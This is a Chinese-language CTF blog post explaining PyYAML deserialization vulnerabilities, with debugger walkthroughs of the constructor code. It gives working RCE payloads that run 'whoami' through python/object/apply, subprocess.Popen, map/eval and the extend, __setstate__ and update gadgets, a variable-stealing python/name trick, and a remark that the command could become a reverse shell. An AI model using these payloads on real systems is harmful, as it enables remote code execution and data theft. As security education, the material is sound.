March 2, 2023

PyYaml反序列化

YAML基本语法

基本语法就自行参考菜鸟教程或者是其他的教程,挺简单的,一共就三种类型:数组,对象,纯量
可以用这个例子全部理解一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
string_0:
- Boogipop
- "I'm Tr0y"
- "I am fine. \u263A"
- "\\x0d\\x0a is \\r\\n"
- newline
newline2 # 字符串可以拆成多行,每行之间用空格隔开

# > 可以在字符串中折叠换行
string_1: >
newline
newline2

# | 保留换行符
string_2: |
newline
newline2

# | 保留换行符,且去掉最后一个换行符
string_3: |-
newline
newline2

list: &id_1
- 18 # 定义锚点
- cm

two_dimensional_list:
-
- Boogipop
- Tr0y

boolean:
- TRUE # true、True、Yes、YES、yes、ON、on、On 都可以
- FALSE # false、False、NO、no、No、off、OFF、Off 都可以

float:
- 3.14
- 6.8523015e+5 # 可以使用科学计数法

int:
- 123
- 0b10100111010010101110 # 支持二进制表示
- 0x0a # 支持十六进制表示

nulls:
- null # NULL 也 ok
- Null
- ~
-

date:
- 2018-02-17 # 日期必须使用 ISO 8601 格式,即 yyyy-MM-dd

datetime:
- 2018-02-17T15:02:31+08:00 # 时间使用 ISO 8601 格式,时间和日期之间使用 T 连接,最后使用 + 代表时区

# > 可以在字符串中折叠换行
object: &id_2
name: Tr0y
money: 0

json: [{1: Boogipop, 2: Tr0y}, "???"] # 值支持 json

reference:
size: *id_1
<<: *id_2
1
2
3
4
import yaml
f=open('TestYM.txt','r')
y=yaml.load(f)
print(y)

可以自行运行,输出结果和JSON格式一样

PyYAML的类型转换

在PY中增加了一个新的特性,那就是yaml的类型转换,这也是PyYAML反序列化漏洞的关键点所在。在PyYAML中通过!!进行强制类型转换,也就是说a: !!str 1a: "1"是一样的,也可以强转为任意的类型,下表是一个汇总图:

就以上面的a: !!str 1为例,我们调试分析:
image.png
在loader方法之后就加载出了yaml_multi_constructors变量,内置了很多tag,我们跟进:
image.png
这里存放的是加载器,从图中可以知道有五种加载器,而默认的就是constructor,而这个默认的加载器加了很多强制类型转换的tag:
image.png
而这些就是今天我们所讲的PyYAML反序列化漏洞的成因,详细的东西我们之后再分析

YAML版本<5.1攻击思路

在yaml早期版本有很多危险tag,因此产生了yaml反序列化漏洞,而对应Tag就是上述图片中我圈起来的几个tag

python/object/apply

python/object/applytag对应python函数中的construct_python_object_apply
image.png
再往下就是进入到make_python_instance函数中:
image.png
继续往下跟进,进入make_python_instance函数中:
image.png
通过find_python_name函数找到了system模块:
image.png
最后在return cls(*args, **kwds)中触发命令执行,cls就是system模块,args就是whoami:
image.png
image.png
这就是完整的触发流程,细看其实Pyyaml反序列化的流程并不难,因为触发起来就是这几个地方,以下是python/object/apply链的各种形式的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
yaml.load('exp: !!python/object/apply:os.system ["whoami"]')

yaml.load("exp: !!python/object/apply:os.system ['whoami']")

# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")

yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")

yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")

# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")

yaml.load("!!python/object/apply:os.system [whoami]: exp")

yaml.load("!!python/object/apply:os.system [whoami]")

yaml.load("""
!!python/object/apply:os.system
- whoami
""")

python/object/new

python/object/new标签对应的函数是construct_python_object_new:
image.png
而这个construct_python_object_apply实际上就是上面分析的python/object/applytag对应的函数,也就是new实际上是apply的一个封装,那也就是说payload一模一样了,这里就不放出来了

python/object

该标签对应的函数为construct_python_object
image.png
可以看到这个函数也是调用了make_python_instance,但是唯一不同的点就是没有参数,也就是只能通过无参方法命令执行
image.png
这个payload虽然可以输出copyright,但是会报错,这个错误证明了是一个bug,在5.3版本进行了修复:
image.png
这里的object本应该是instance,object类是不允许别setattr修改的,所以会报错

python/module:package.class

对应函数为 construct_python_module,而该函数最终调用了find_python_module,(前面是find_python_name)这个函数中调用了__import__:
image.png
我们可以自定义一个恶意py,通过该标签即可import,也就导致了命令执行,在PYYAML.py文件下创建uploads文件夹,在里面放入恶意py:
image.png
接着通过该标签强制转换类型即可触发:
image.png
这里的命令可以改为反弹shell之类的^^

python/name

该方法对应的函数为construct_python_name
image.png
里面调用了find_python_name方法,这个方法在前三个标签中也有用到,是找模块或者属性用的,我们调试分析一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# import yaml
# yaml.load('boogipop: !!python/module:uploads.evil')
# # a=yaml.load('a: !!str 1')
# # print(a)
import yaml


TOKEN = "Y0u_Nev3r_kn0w."

def check(config):
try:
token = yaml.load(config).get("token", None)
except Exception:
token = None

if token == TOKEN:
print("yes, master.")
else:
print("fuck off!")


config = 'token: !!python/name:__main__.TOKEN' # 可控输入点
check(config)

在这个标签中可以用来窃取变量的值,如上述例子:
image.png
进入方法中:
image.png
module_name为__main__,然后object_name就是我们的TOKEN,最后返回的就是__main__['object_name']也就是TOKEN的值

版本>5.1攻击思路

由于默认的构造器太过强大,开发人员不了解这些危险很容易中招。所以 PyYAML 的开发者就将构造器分为:

  1. BaseConstructor:没有任何强制类型转换
  2. SafeConstructor:只有基础类型的强制类型转换
  3. FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。
  4. UnsafeConstructor:支持全部的强制类型转换
  5. Constructor:等同于 UnsafeConstructor

对应顶层的方法新增了:

  1. yaml.full_load
  2. yaml.full_load_all
  3. yaml.unsafe_load
  4. yaml.unsafe_load_all

通常情况下,我们还是会使用 yaml.load,这个时候会有 warning:
image.png

因为在不指定 Loader 的时候,默认是 FullConstructor 构造器。这对开发人员起到了提醒的作用。
除此之外,在 make_python_instance 还新增的额外的限制:if not (unsafe or isinstance(cls, type)),也就是说,在安全模式下,加载进来的 module.name 必须是一个类(例如 int、str 之类的),否则就会报错。

常规利用方式:
常规的利用方式和 <5.1 版本的姿势是一样的。当然前提是构造器必须用的是 UnsafeConstructor 或者 Constructor,也就是这种情况:

  1. yaml.unsafe_load(exp)
  2. yaml.unsafe_load_all(exp)
  3. yaml.load(exp, Loader=UnsafeLoader)
  4. yaml.load(exp, Loader=Loader)
  5. yaml.load_all(exp, Loader=UnsafeLoader)
  6. yaml.load_all(exp, Loader=Loader)

FullConstructor BreakOut

如何突破FullConstructor呢?FullConstructor 中,限制了只允许加载 sys.modules 中的模块。这个有办法突破吗?我们先列举一下限制:
image.png

  1. 只引用,不执行的限制:
    1. 加载进来的 module 必须是位于 sys.modules 中
  2. 引用并执行:
    1. 加载进来的 module 必须是位于 sys.modules 中
    2. FullConstructor 下,unsafe = False,加载进来的 module.name 必须是一个类

举两个不行的例子:

  1. !!python/name:pickle.loads:pickle 不在 sys.modules 中
  2. !!python/object/new:builtins.eval [“print(1)”]:eval 虽然在 sys.modules 中,但是 type(builtins.eval) 是 builtin_function_or_method 而不是一个类。

那么最直接的思路就是,有没有一个模块,它在 FullConstructor 上下文中的 sys.modules 里,同时它还有一个类,这个类可以执行命令?答案就是 subprocess.Popen。所以最简单的 payload 就是:

1
2
3
4
yaml.load("""
!!python/object/apply:subprocess.Popen
- whoami
""")

不用 !!python/object/apply 的话,也有其他办法。
通过遍历 builtins 下的所有方法,可以找到这些看起来有点用的:

1
2
3
4
5
6
7
8
9
10
11
12
13
boolbytearraybytes
complex
dict
enumerate
filterfloatfrozenset
int
list
mapmemoryview
object
rangereversed
setslicestrstaticmethod
tuple
zip

其中的map和tuple结合起来可以触发命令执行,在py2中map直接返回的是列表,在py3返回一个迭代器,配合tuple可以执行命令
tuple(map(eval, ["__import__('os').system('whoami')"]))
其中的tuple可以用frozenset、Bytes进行替代:
image.png
这里有个小bug,直接使用set和list也可以起到tuple一样的作用,解开map内容,但是通过 !!python/object/new 来使用时却会忽略参数,生成一个空的迭代对象:
image.png

extend Attack

在apply标签的construct_python_object_apply函数中有这么一条语句:
image.png
image.png
如果存在listitem属性,那么会调用instance.extend(listitems),假如这里的instance.extend为eval或者exec,listitems为恶意的payload,那就可以执行命令了,比如:

1
2
3
4
5
6
7
8
9
10
11
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")
#等价于
exp = type("exp", (,), {"extend": eval})
exp.extend("__import__('os').system('whoami')")

image.png
和我们分析的一致

setstate Attack

同样的也是在上面流程construct_python_object_apply函数中有:
image.png
进入了set_python_instance_state函数中
image.png
如果instance中有__setstate__属性,会调用instance.__setstate__(state),假如这时instance.__setstate__为eval或者exec,state为我们的恶意payload,这时候也和上面一样可以实现RCE,因此payload只需要改一改:

1
2
3
4
5
6
7
8
9
10
11
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"__setstate__": !!python/name:exec }
state: "__import__('os').system('whoami')"
""")
#等价于
exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")

image.png
同样和我们分析的一样

update Attack

那么假如上述2种方法都用不了该怎么办呢?别急,我们回到set_python_instance_state函数流程中:
image.png
关键步骤在于slotstate.update(state),如果slotstate.update为eval,state为payload,那么就可以RCE,和上面一模一样,所以payload可以为如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
yaml.full_load("""
!!python/object/new:str
args: []
# 通过 state 触发调用
state: !!python/tuple
- "__import__('os').system('whoami')"
# 下面构造 exp
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list # 不设置这个也可以,会报错但也已经执行成功
""")
#等效
exp = staticmethod([0])
exp.__dict__.update(
{"update": eval, "items": list}
)
# 由于 str 没有 __dict__ 方法,所以在 PyYAML 解析时会触发下面调用

exp.update("__import__('os').system('whoami')")

这个payload就比上面的长很多,因此分析的地方也复杂一些,首先流程是由内向外的,这句话怎么理解呢,当yaml解析的时候会先解析- !!python/object/new:staticmethod下面的语句,然后解析完之后,再将解析结果放入state: !!python/tuple,最后开始解析!!python/object/new:str,说起来可能大家也不太懂,这里就跟大B(bushi)来调试看看:
image.png
第一次进入时,instance是一个staticmethod类型的对象,state就是最里面一层的,符合我们的解释,staticmethod方法是用来声明函数的静态方法的。在这里我们往里面存放了一个空值,不过问题不大,此时instance.__dict__为空(__dict__属性中存放了该对象的所有属性,变量,函数…..):
image.png
接着往下走,走到instance.__dict__.update(state),这时调用了update方法,往__dict__字典中存放了state对象,这为第二次进入set_python_instance_state做了铺垫:
image.png
那么随之就是第二次进入,回顾一开始说的顺序,由内到外,发现instance为str对象,state就是第一次进入后的结果加上恶意payload:
image.png
之后注意,在state, slotstate = state中,完成了state和slsotstate的赋值,state是一个tuple元组,有2个元素,那么新的state和slotstate对象第一个和第二个元素:
image.png
最后就是进入slotstate.update(state)触发rce:
image.png
到这里分析就结束啦,我觉得描述的已经很清晰了

5.2—6.0

可爱的尾巴

PyYAML这个知识点一直拖欠着没有进行总结,因为总觉得是一个小知识点,今天分析的时候才发现调试和分析过程并没有我想象中的那么简单,但仍然是一个很有趣的过程,我也一直觉得CTF这项竞赛是比较优雅的智力比赛,不断的剖析原理,接触新的tricks才是CTF的乐趣所在,希望HnuSec的大家不要停下来啊!

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#反序列化#Yaml#Python